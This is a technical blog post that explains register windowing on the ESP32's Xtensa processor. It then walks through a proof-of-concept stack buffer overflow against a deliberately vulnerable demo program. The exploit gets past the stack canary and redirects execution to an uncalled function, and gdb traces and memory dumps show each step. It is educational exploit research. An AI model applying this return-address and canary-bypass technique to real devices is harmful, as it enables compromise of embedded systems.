Some time ago I encountered a bug introduced by my team which led to buffer overflow in HTTPD URI handler during ESP32 device provisioning. I was curious how easily buffer overflow vulnerability might be exploited on Xtensa platform.
Xtensa implements a set of 24-bit instructions that perform 32-bit operations. General purpose registers that can be used by instructions are A0-A15.
Windowed Register Usage:
Description of windowed register option in Xtensa processor specification:
The Windowed Register Option replaces the simple 16-entry AR register file with a larger register file from which a window of 16 entries is visible at any given time. The window is rotated on subroutine entry and exit, automatically saving and restoring some registers. When the window is rotated far enough to require registers to be saved to or restored from the program stack, an exception is raised to move some of the register values between the register file and the program stack. The option reduces code size and increases performance of programs by eliminating register saves and restores at procedure entry and exit, and by reducing argument-shuffling at calls. It allows more local variables to live permanently in registers, reducing the need for stack-frame maintenance in non-leaf routines.
ESP32 register file consists of 64 32bit AR registers and the window of 16-entry registers is rotated by using WindowBase and WindowStart special purpose registers as depicted:

From Xtensa processor specification:
The WindowBase Special Register gives the position of the current window into the physical register file. In the instruction descriptions, A[i] is a short-hand for a reference to the physical register file AR (AddressRegister) defined as follows:

The WindowStart Special Register gives the state of physical registers (unused or part of a window). WindowStart is used both to detect overflow and underflow on register use and procedure return, as well as to determine the number of registers to be saved in a given stack frame when handling exceptions and switching contexts. There is one bit in WindowStart for each four physical registers. This bit is set if those four registers are A[0] to A[3] for some call. WindowStart bits are set by ENTRY and cleared by RETW instructions.
Call, Entry, and Return Mechanism:
From Xtensa processor specification:
The register window mechanics of the {CALL, CALLX}{4,8,12}, ENTRY, and {RETW, RETW.N} instructions are:

In the definition of ENTRY above, the AR read and the AR write refer to different registers.

From Xtensa processor specification:
Windowed register option on ESP32 uses registers a0 and a1 for return address and stack pointer. They must always contain those values, because they are used for stack unwinding in debuggers and exception handling. Incoming arguments are stored in registers a2 through a7. The location of outgoing arguments depends on the window size.

Next picture shows what registers from the lager register file are cached by the processor:

WindowBase is 0x1 meaning window starts from register AR[4] (1 << 2 for A0 register) and occupies 8 rigisters in total (because it was a CALL8 instruction). It might be understood looking at WindowStart special register which has 15bit set. Everytime CALLN instruction is called PS.CALLINC is set to N>>2 and on ENTRY instruction WindowBase gets increased to PS.CALLINC value and in WindowStart WindowBase bit is set to 1. A0 which contains return address has 31 and 30 bits set to PS.CALLINC and is used to adjust WindowBase/WindowStart on returns. From the example above if program returns to previous call where return address has 31 and 30 bits set to b10, WindowBase will be adjusted to 0xf (15) because 0x1 - 0x2 (b10) = 0xf and WindowStart will have only 15bit set (OWB bit is getting cleared in WindowStart on return).
Window Overflow/Underflow Check:
The ENTRY instruction moves the register window, but does not guarantee that all the registers in the current window are available for use. Instead, the processor waits for the first reference to an occupied physical register before triggering a window overflow. This prevents unnecessary overflows, because many routines do not use all 16 of their virtual registers.
Let's consider a case when window overflow gets triggered by the processor. If WindowBase is 0xf and WindowStart is 0x8000 (15th bit set) and program calls only CALL8/CALLX8 instructions (frequently used) there shall be 7 more consequent calls in order to get WindowOverflow8 exception trigerred to save cached registers to the stack.
Initial state: WindowBase 0xF | AR[60] - AR[3] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0x1 | AR[4] - AR[11] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0x3 | AR[12] - AR[19] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0x5 | AR[20] - AR[27] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0x7 | AR[28] - AR[35] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0x9 | AR[36] - AR[43] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0xB | AR[44] - AR[51] WindowStart 0x1000.0000.0000.0000 >> CALL8/CALLX8 WindowBase 0xD | AR[52] - AR[59] WindowStart 0x1000.0000.0000.0000
And only after 7th CALL8/CALLX8 when the function accesses registers A[8]-A[15] the exception will be raised.
The WindowOverflow8 exception code looks as follows:
WindowOverflow8: // On entry here: window rotated to call[j]; the registers to be // saved are a0-a7; a8-a15 must be preserved // a9 is call[j+1]’s stack pointer s32e a0, a9, -16 // save a0 to call[j+1]’s frame l32e a0, a1, -12 // a0 <- call[j-1]’s sp s32e a1, a9, -12 // save a1 to call[j+1]’s frame s32e a2, a9, -8 // save a2 to call[j+1]’s frame s32e a3, a9, -4 // save a3 to call[j+1]’s frame s32e a4, a0, -32 // save a4 to call[j]’s frame s32e a5, a0, -28 // save a5 to call[j]’s frame s32e a6, a0, -24 // save a6 to call[j]’s frame s32e a7, a0, -20 // save a7 to call[j]’s frame rfwo
Window underflow gets triggered when a return instruction decrements to a window that has been saved to the stack (indicated by its WindowStart bit being cleared). The exception handler restores registers values from the stack and continues program execution.
The WindowUnderflow8 exception code looks as follows:
// rotates back to call[i] position WindowUnderflow8: // On entry here: a0-a7 are call[i].reg[0..7] and initially // contain garbage, a8-a15 are call[i+1].reg[0..7], // (in particular, a9 is call[i+1]’s stack pointer) // and must be preserved l32e a0, a9, -16 // restore a0 from call[i+1]’s frame l32e a1, a9, -12 // restore a1 from call[i+1]’s frame l32e a2, a9, -8 // restore a2 from call[i+1]’s frame l32e a7, a1, -12 // a7 <- call[i-1]’s sp l32e a3, a9, -4 // restore a3 from call[i+1]’s frame l32e a4, a7, -32 // restore a4 from call[i]’s frame l32e a5, a7, -28 // restore a5 from call[i]’s frame l32e a6, a7, -24 // restore a6 from call[i]’s frame l32e a7, a7, -20 // restore a7 from call[i]’s frame rfwu
There are also WindowOverflow4/WindowUnderflow4 and WindowOverflow12/WindowUnderflow12 functions for CALL4/CALLX4 and CALL12/CALLX12 instructions respectively.
Register-Spill and Overflow Area:
The register-spill overflow area is equal to N–4 words, where N can be 4, 8, or 12 as determined by the largest CALLN or CALLXN in the function.

Stack canary:
On Xtensa stack canary check is implemented as follows:
0x400d2190 <+0>: entry a1, 96 0x400d2193 <+3>: l32r a5, 0x400d0044 <_stext+44> 0x400d2196 <+6>: memw 0x400d2199 <+9>: l32i.n a5, a5, 0 0x400d219b <+11>: memw 0x400d219e <+14>: s32i.n a5, a1, 60
Worth mentioning that compiler reserves 96 bytes for the function where last 32 bytes reserved for Register-Spill and Overflow Area (for CALL8 instruction).
4 bytes with offset +60 from the current stack pointer will hold stack canary value.
From the assembler code above it's double pointer deference:
(gdb) x/w 0x400d0044 0x400d0044 <_stext+44>: 0x3ffb1710 (gdb) x/w 0x3ffb1710 0x3ffb1710 <__stack_chk_guard>: 0x000037c9 (gdb)
And finally check on return from the function:
(gdb) x/8i 0x400d2253 0x400d2253: memw 0x400d2256 : l32i a4, a1, 60 0x400d2259 : l32r a3, 0x400d0044 <_stext+44> 0x400d225c : memw 0x400d225f : l32i a3, a3, 0 0x400d2262 : beq a4, a3, 0x400d2268 0x400d2265 : call8 0x400d0fc8 __stack_chk_fail 0x400d2268 : retw.n
Exploit:
The purpose of this exploit to show how the function which is not supposed to be called in the program is getting called exploiting buffer overflow attack and bypassing stack canary check.
First the it's neceserry to check what functions (returned addresses) were saved on the stack being in the vulnerable function:
copy_credentials (s=0x3ffb23a0'a' , p=0x3ffb23b5 'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:54 54 { (gdb) 55 char ssid[MAX_SSID_LEN + 1]={0}; (gdb) bt #0 copy_credentials (s=0x3ffb23a0 'a' , p=0x3ffb23b5 'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:55 #1 0x400d22db in parse_credentials (credentials=0x3ffb23a0 'a' , length=236) at main/exploit-buf-overflow.c:100 #2 0x400d2407 in start_app () at main/exploit-buf-overflow.c:210 #3 0x400d2422 in app_main () at main/exploit-buf-overflow.c:215 #4 0x400d0a3b in main_task (args=0x0) at ../esp-idf/components/esp32/cpu_start.c:497 #5 0x40084944 in vPortTaskWrapper (pxCode=0x400d09fc , pvParameters=0x0) at ../esp-idf/components/freertos/port.c:143
There are 6 functions calls. Let's check WindowBase and WindowStart in order to understand what registers were saved to the stack.
(gdb) info all-registers pc 0x400d21a0 0x400d21a0ar0 0x3ffb3b10 1073429264 ar1 0x0 0 ar2 0x3ffaffd0 1073414096 ar3 0x3ffb4d70 1073433968 ar4 0x800d2407 -2146622457 ar5 0x3ffb3a90 1073429136 ar6 0x3ffb23a0 1073423264 ar7 0xec 236 ar8 0x3f403b38 1061174072 ar9 0x1f 31 ar10 0x1 1 ar11 0x5 5 ar12 0x800d22db -2146622757 ar13 0x3ffb3a30 1073429040 ar14 0x3ffb23a0 1073423264 ar15 0x3ffb23b5 1073423285 ar16 0xec 236 ar17 0x37c9 14281 ar18 0x0 0 ar19 0x0 0 ar20 0x26 38 ar21 0x3ffb3720 1073428256 ar22 0x59 89 ar23 0x3ffae910 1073408272 ar24 0x1 1 ar25 0x3ffb3730 1073428272 ar26 0x3ffb3730 1073428272 ar27 0x4 4 ar28 0x800dbd21 -2146583263 ar29 0x3ffb3700 1073428224 ar30 0x3ffae968 1073408360 ar31 0x3ffae910 1073408272 ar32 0x3ffb3954 1073428820 ar33 0x0 0 ar34 0x8 8 ar35 0xff000000 -16777216 ar36 0x80082a0a -2146948598 ar37 0x3ffb36d0 1073428176 ar38 0x37c9 14281 ar39 0x4 4 ar40 0x3ffb3954 1073428820 ar41 0x3ffae910 1073408272 ar42 0x0 0 ar43 0x0 0 ar44 0x37c9 14281 ar45 0x3ffb36b0 1073428144 ar46 0x1 1 ar47 0x0 0 ar48 0x5 5 ar49 0x80 128 ar50 0x5 5 ar51 0x0 0 ar52 0x800844e0 -2146941728 ar53 0x3ffb3670 1073428080 ar54 0x1 1 ar55 0x37c9 14281 ar56 0x37c9 14281 ar57 0x0 0 ar58 0x0 0 ar59 0x0 0 ar60 0x800d2422 -2146622430 ar61 0x3ffb3ab0 1073429168 ar62 0x3ffb23a0 1073423264 ar63 0x800d20eb -2146623253 windowbase 0x3 3 windowstart 0x800a 32778
WindowBase is 0x3 meaning at the moment Window starts from AR[12] register (0x3 << 2). WindowStart is 0x800a which is b1000.0000.0000.1010 in binary format. This means that the first window that was cached shall begin from AR[60] register (0xf << 2).
AR[60] maps to A[0] which holds return address of last function that was cached in registers. However 31-30 bits contain PS.CALLINC and shall be taken into account during address check in debuger. Since our binary start from 0x400xxxxx we simply added offset kept in AR[60] in bits 0-29 to the start address.
(gdb) x/i 0x400d2422 0x400d2422 app_main+6: call8 0x40082694 esp_log_timestamp
As you can see the return address points to the app_main function that was last chached in register file. So if we take AR[61] shall be maped to A[1] which holds stack pointer of app_main() and check the Register-Spill Area we shall see return address and stack pointer for main_task().
(gdb) x/4w 0x3ffb3ab0-16 0x3ffb3aa0: 0x800d0a3b 0x3ffb3af0 0x00000001 0x00000000 (gdb) x/i 0x400d0a3b 0x400d0a3b main_task+63: movi.n a10, 0
After main_task() there shall be final saved return address to vPortTaskWrapper() that can be checked at offset of -16 bytes from saved stack pointer of main_task():
(gdb) x/4w 0x3ffb3af0-16 0x3ffb3ae0: 0x80084944 0x3ffb3b10 0x00000000 0x00000000 (gdb) x/i 0x40084944 0x40084944 vPortTaskWrapper+8: movi.n a10, 0
The return addresses of 2 functions were saved on the stack that can be overwritten by buffer overflow. However the exploit shall also get stack canary value to bypass stack overflow check.
Here the concept for exploit injection:

Worth mentioning that the attacker can create false backtrace by adding extra call frames on the stack in order to achieve necessary program behavior.
Debugger trace of the exploit:
(gdb) target remote:1234 Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000400 in ?? () (gdb) c Continuing. Breakpoint 1, app_main () at main/exploit-buf-overflow.c:214 214 { (gdb) c Continuing. Breakpoint 3, parse_credentials (credentials=0x3ffb23a0'a' , "&", 'a' , "\311\067", length=-2146623253) at main/exploit-buf-overflow.c:81 81 { (gdb) s 82 if (!credentials) { (gdb) 89 char *p = strstr(s, "&"); (gdb) 90 if (!p) { (gdb) 93 } *p = '\0'; p++; (gdb) 95 if (*p == '\0') { (gdb) 100 return copy_credentials(s, p, length); // on return from the function _WindowUnderflow will be called to load saved registers from the stack somewhere to AR[0-64] registers (gdb) copy_credentials (s=0x3ffb23a0 'a' , p=0x3ffb23b5 'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:54 54 { (gdb) 55 char ssid[MAX_SSID_LEN + 1]={0}; (gdb) 56 char pass[MAX_PASSWORD_LEN + 1]={0}; (gdb) 58 if (p == NULL || length < 2) { (gdb) 62 memcpy(pass, p, length); // <<< --- buffer overflow will be here since length is not checked (gdb) 65 if (s == NULL || strlen(s) < 2) { (gdb) x/120w 0x3ffb3af0-0x80 0x3ffb3a70: 0x61616161 0x61616161 0x61616161 0x61616161 0x3ffb3a80: 0x61616161 0x61616161 0x61616161 0x61616161 0x3ffb3a90: 0xdeadbeef 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x3ffb3aa0: 0x800d20eb 0x3ffb3af0 0xdeadbeef 0xdeadbeef 0x3ffb3ab0: 0x61616161 0x61616161 0x61616161 0x61616161 0x3ffb3ac0: 0x61616161 0x61616161 0x61616161 0x000037c9 0x3ffb3ad0: 0xdeadbeef 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x3ffb3ae0: 0x800d20eb 0x3ffb3b10 0xdeadbeef 0xdeadbeef 0x3ffb3af0: 0xdeadbeef 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x3ffb3b00: 0x800d20eb 0x3ffb3b10 0xdeadbeef 0xdeadbeef 0x3ffb3b10: 0x61616161 0x61616161 0x61616161 0x61616161 0x3ffb3b20: 0x61616161 0x00000000 0x00000000 0x00000000 0x3ffb3b30: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3b40: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3b50: 0x00000000 0x00000000 0x3ffb3b5c 0x00000000 0x3ffb3b60: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3b70: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3b80: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3b90: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3ba0: 0x00000000 0x00000000 0x00000000 0x00000000 0x3ffb3bb0: 0x00000000 0xa5a5a500 0x3ffb3d20 0x3ffb3a90 0x3ffb3bc0: 0x3ffb3b50 0x00000000 0x3ffb2080 0x3ffb2080 0x3ffb3bd0: 0x3ffb3bbc 0x3ffb2078 0x00000018 0x00000000 0x3ffb3be0: 0x00000000 0x3ffb3bbc 0x00000000 0x00000001 0x3ffb3bf0: 0x3ffb2bb8 0x6e69616d 0x00000000 0x00000000 0x3ffb3c00: 0x00000000 0x00000000 0x3ffb3bb4 0x00000000 0x3ffb3c10: 0x00060720 0x00000001 0x00000000 0x00000000 0x3ffb3c20: 0x00000000 0x00000000 0x3ffae8a8 0x3ffae910 0x3ffb3c30: 0x3ffae978 0x00000000 0x00000000 0x00000001 0x3ffb3c40: 0x00000000 0x3f403c60 0x00000000 0x40001d48 (gdb) s 69 memcpy(ssid, s, strlen(s)); (gdb) 72 int ret = copy_to_global(ssid, pass); (gdb) copy_to_global (ssid=0x3ffb3a38 'a' , pass=0x3ffb3a4d 'a' , "\311\067") at main/exploit-buf-overflow.c:35 35 if (t == NULL) { (gdb) 36 struct test *p = malloc(sizeof(struct test)); // malloc() will cause _WindowOverflow8 and later on _WindowUnderflow8 on return from copt_credentials() which loads modified return address from the stack (gdb) 37 if (p == NULL) { (gdb) 41 memset(p, 0x0, sizeof(*p)); (gdb) 42 t = p; (gdb) 44 if (ssid && strlen(ssid) > 2) { (gdb) 45 memcpy(t->ssid, ssid, MAX_SSID_LEN); (gdb) 47 if (pass && strlen(pass) >10) { (gdb) 48 memcpy(t->pass, pass, MAX_PASSWORD_LEN); (gdb) 50 return ESP_OK; (gdb) _WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894 1894 l32e a0, a9, -16 /* restore a0 from call[i+1]'s stack frame */ (gdb) 1895 l32e a1, a9, -12 /* restore a1 from call[i+1]'s stack frame */ (gdb) 1896 l32e a2, a9, -8 /* restore a2 from call[i+1]'s stack frame */ (gdb) 1897 l32e a7, a1, -12 /* a7 <- call[i-1]'s sp (gdb) 1899 l32e a3, a9, -4 /* restore a3 from call[i+1]'s stack frame */ (gdb) 1900 l32e a4, a7, -32 /* restore a4 from call[i]'s stack frame */ (gdb) 1901 l32e a5, a7, -28 /* restore a5 from call[i]'s stack frame */ (gdb) 1902 l32e a6, a7, -24 /* restore a6 from call[i]'s stack frame */ (gdb) 1903 l32e a7, a7, -20 /* restore a7 from call[i]'s stack frame */ (gdb) 1904 rfwu (gdb) copy_credentials (s= , p=0x3ffb23b5 'a' , "\311\067", length=236) at main/exploit-buf-overflow.c:73 73 if (ret != ESP_OK) { (gdb) 77 return ESP_OK; // on return from the function _WindowUnderflow will be called to load saved registers from the stack somewhere to AR[0-64] registers (gdb) 78 } (gdb) _WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894 1894 l32e a0, a9, -16 /* restore a0 from call[i+1]'s stack frame */ (gdb) 1895 l32e a1, a9, -12 /* restore a1 from call[i+1]'s stack frame */ (gdb) 1896 l32e a2, a9, -8 /* restore a2 from call[i+1]'s stack frame */ (gdb) 1897 l32e a7, a1, -12 /* a7 <- call[i-1]'s sp (gdb) 1899 l32e a3, a9, -4 /* restore a3 from call[i+1]'s stack frame */ (gdb) 1900 l32e a4, a7, -32 /* restore a4 from call[i]'s stack frame */ (gdb) 1901 l32e a5, a7, -28 /* restore a5 from call[i]'s stack frame */ (gdb) 1902 l32e a6, a7, -24 /* restore a6 from call[i]'s stack frame */ (gdb) 1903 l32e a7, a7, -20 /* restore a7 from call[i]'s stack frame */ (gdb) 1904 rfwu (gdb) parse_credentials (credentials= , length=236) at main/exploit-buf-overflow.c:101 101 } (gdb) _WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894 1894 l32e a0, a9, -16 /* restore a0 from call[i+1]'s stack frame */ (gdb) 1895 l32e a1, a9, -12 /* restore a1 from call[i+1]'s stack frame */ (gdb) 1896 l32e a2, a9, -8 /* restore a2 from call[i+1]'s stack frame */ (gdb) 1897 l32e a7, a1, -12 /* a7 <- call[i-1]'s sp (gdb) 1899 l32e a3, a9, -4 /* restore a3 from call[i+1]'s stack frame */ (gdb) 1900 l32e a4, a7, -32 /* restore a4 from call[i]'s stack frame */ (gdb) 1901 l32e a5, a7, -28 /* restore a5 from call[i]'s stack frame */ (gdb) 1902 l32e a6, a7, -24 /* restore a6 from call[i]'s stack frame */ (gdb) 1903 l32e a7, a7, -20 /* restore a7 from call[i]'s stack frame */ (gdb) 1904 rfwu (gdb) parse_credentials (credentials= , length=236) at main/exploit-buf-overflow.c:101 101 } (gdb) start_app () at main/exploit-buf-overflow.c:211 211 } (gdb) s _WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894 1894 l32e a0, a9, -16 /* restore a0 from call[i+1]'s stack frame */ (gdb) 1895 l32e a1, a9, -12 /* restore a1 from call[i+1]'s stack frame */ (gdb) 1896 l32e a2, a9, -8 /* restore a2 from call[i+1]'s stack frame */ (gdb) 1897 l32e a7, a1, -12 /* a7 <- call[i-1]'s sp (gdb) 1899 l32e a3, a9, -4 /* restore a3 from call[i+1]'s stack frame */ (gdb) 1900 l32e a4, a7, -32 /* restore a4 from call[i]'s stack frame */ (gdb) 1901 l32e a5, a7, -28 /* restore a5 from call[i]'s stack frame */ (gdb) 1902 l32e a6, a7, -24 /* restore a6 from call[i]'s stack frame */ (gdb) 1903 l32e a7, a7, -20 /* restore a7 from call[i]'s stack frame */ (gdb) 1904 rfwu (gdb) app_main () at main/exploit-buf-overflow.c:216 216 ESP_LOGE(TAG, "%s: SHALL RETURN TO print_error", __FUNCTION__); (gdb) info registers pc 0x400d2422 0x400d2422 lbeg 0x4000c2e0 1073791712 lend 0x4000c2f6 1073791734 lcount 0x0 0 sar 0x4 4 ps 0x60f20 397088 threadptr 0x3ffac7d4 1073399764 br 0x0 0 scompare1 0x0 0 acclo 0x0 0 acchi 0x0 0 m0 0x0 0 m1 0x0 0 m2 0x0 0 m3 0x0 0 expstate 0x0 0 f64r_lo 0x0 0 f64r_hi 0x0 0 f64s 0x0 0 fcr 0x0 0 fsr 0x0 0 a0 0x800d20eb -2146623253 a1 0x3ffb3af0 1073429232 a2 0xdeadbeef -559038737 a3 0xdeadbeef -559038737 a4 0xdeadbeef -559038737 a5 0xdeadbeef -559038737 a6 0xdeadbeef -559038737 a7 0xdeadbeef -559038737 a8 0x800d2422 -2146622430 a9 0x3ffb3ab0 1073429168 a10 0x37c9 14281 a11 0x37c9 14281 a12 0x3ffb3b10 1073429264 a13 0x0 0 a14 0x3ffaffd0 1073414096 a15 0x3ffb4d70 1073433968 (gdb) s esp_log_timestamp () at ../esp-idf/components/log/log.c:335 335 if (xTaskGetSchedulerState() == taskSCHEDULER_NOT_STARTED) { (gdb) finish Run till exit from #0 esp_log_timestamp () at ../esp-idf/components/log/log.c:335 0x400d2425 in app_main () at main/exploit-buf-overflow.cc:216 216 ESP_LOGE(TAG, "%s: SHALL RETURN TO print_error", __FUNCTION__); Value returned is $60 = 125 (gdb) s esp_log_write (level=ESP_LOG_ERROR, tag=0x3f4038c4 "test", format=0x3f403b84 "\033[0;31mE (%d) %s: %s: SHALL RETURN TO print_error\033[0m\n") at ../esp-idf/components/log/log.c:214 214 va_start(list, format); (gdb) finish Run till exit from #0 esp_log_write (level=ESP_LOG_ERROR, tag=0x3f4038c4 "test", format=0x3f403b84 "\033[0;31mE (%d) %s: %s: SHALL RETURN TO print_error\033[0m\n") at ../esp-idf/components/log/log.c:214 0x400d2438 in app_main () at main/exploit-buf-overflow.c:216 216 ESP_LOGE(TAG, "%s: SHALL RETURN TO print_error", __FUNCTION__); (gdb) s _WindowUnderflow8 () at ../esp-idf/components/freertos/xtensa_vectors.S:1894 1894 l32e a0, a9, -16 /* restore a0 from call[i+1]'s stack frame */ (gdb) 1895 l32e a1, a9, -12 /* restore a1 from call[i+1]'s stack frame */ (gdb) 1896 l32e a2, a9, -8 /* restore a2 from call[i+1]'s stack frame */ (gdb) 1897 l32e a7, a1, -12 /* a7 <- call[i-1]'s sp (gdb) 1899 l32e a3, a9, -4 /* restore a3 from call[i+1]'s stack frame */ (gdb) 1900 l32e a4, a7, -32 /* restore a4 from call[i]'s stack frame */ (gdb) 1901 l32e a5, a7, -28 /* restore a5 from call[i]'s stack frame */ (gdb) 1902 l32e a6, a7, -24 /* restore a6 from call[i]'s stack frame */ (gdb) 1903 l32e a7, a7, -20 /* restore a7 from call[i]'s stack frame */ (gdb) 1904 rfwu (gdb) print_error (a=-559038737) at main/exploit-buf-overflow.c:106 106 ESP_LOGE(TAG, "%s: First, SHALL NOT BE HERE! Second Argument is equal to %x", __FUNCTION__, a); (gdb) info registers pc 0x400d20eb 0x400d20eb lbeg 0x400014fd 1073747197 lend 0x4000150d 1073747213 lcount 0xfffffffd 4294967293 sar 0x4 4 ps 0x60d20 396576 threadptr 0x3ffac7d4 1073399764 br 0x0 0 scompare1 0x0 0 acclo 0x0 0 acchi 0x0 0 m0 0x0 0 m1 0x0 0 m2 0x0 0 m3 0x0 0 expstate 0x0 0 f64r_lo 0x0 0 f64r_hi 0x0 0 f64s 0x0 0 fcr 0x0 0 fsr 0x0 0 a0 0x800d20eb -2146623253 a1 0x3ffb3b10 1073429264 a2 0xdeadbeef -559038737 a3 0xdeadbeef -559038737 a4 0xdeadbeef -559038737 a5 0xdeadbeef -559038737 a6 0xdeadbeef -559038737 a7 0xdeadbeef -559038737 a8 0x800d20eb -2146623253 a9 0x3ffb3af0 1073429232 a10 0xdeadbeef -559038737 a11 0xdeadbeef -559038737 a12 0xdeadbeef -559038737 a13 0xdeadbeef -559038737 a14 0xdeadbeef -559038737 a15 0xdeadbeef -559038737 (gdb) bt #0 0x400d20eb in print_error (a=-559038737) at main/exploit-buf-overflow.c:104 Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Result of the program:
E (125) test: Stack Canary ->>> 37c9 E (125) test: Print address function ->>> 800d20eb E (125) test: Stack pointer for main_task function sp 3ffb3ab0 ->>> 3ffb3af0 E (125) test: app_main: SHALL RETURN TO print_error E (125) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef
The exploit was running on QEMU which is why stack canary is 0x000037c9. If vulnerable program uses strlen() for incoming buffer length check the exploit won't be injected because the program copies data until first occurrence of terminated '0x0' byte in the incoming buffer. However on real hardware (ESP32) the canary value is different and might not contain terminated null byte:
E (280) test: Stack Canary ->>> 805d2d32 E (280) test: Print address function ->>> 800d1ea3 E (280) test: Stack pointer for main_task function sp 3ffb39a0 ->>> 3ffb39e0 W (290) test: Next SP address contains 0x0 = 3ffb3a00. Increase it to 32 bytes. W (290) test: Next SP address = 3ffb3a20 E (300) test: app_main: SHALL RETURN TO print_error E (310) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef E (310) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef E (320) test: print_error: First, SHALL NOT BE HERE! Second Argument is equal to deadbeef
All code from the article is available here.
References: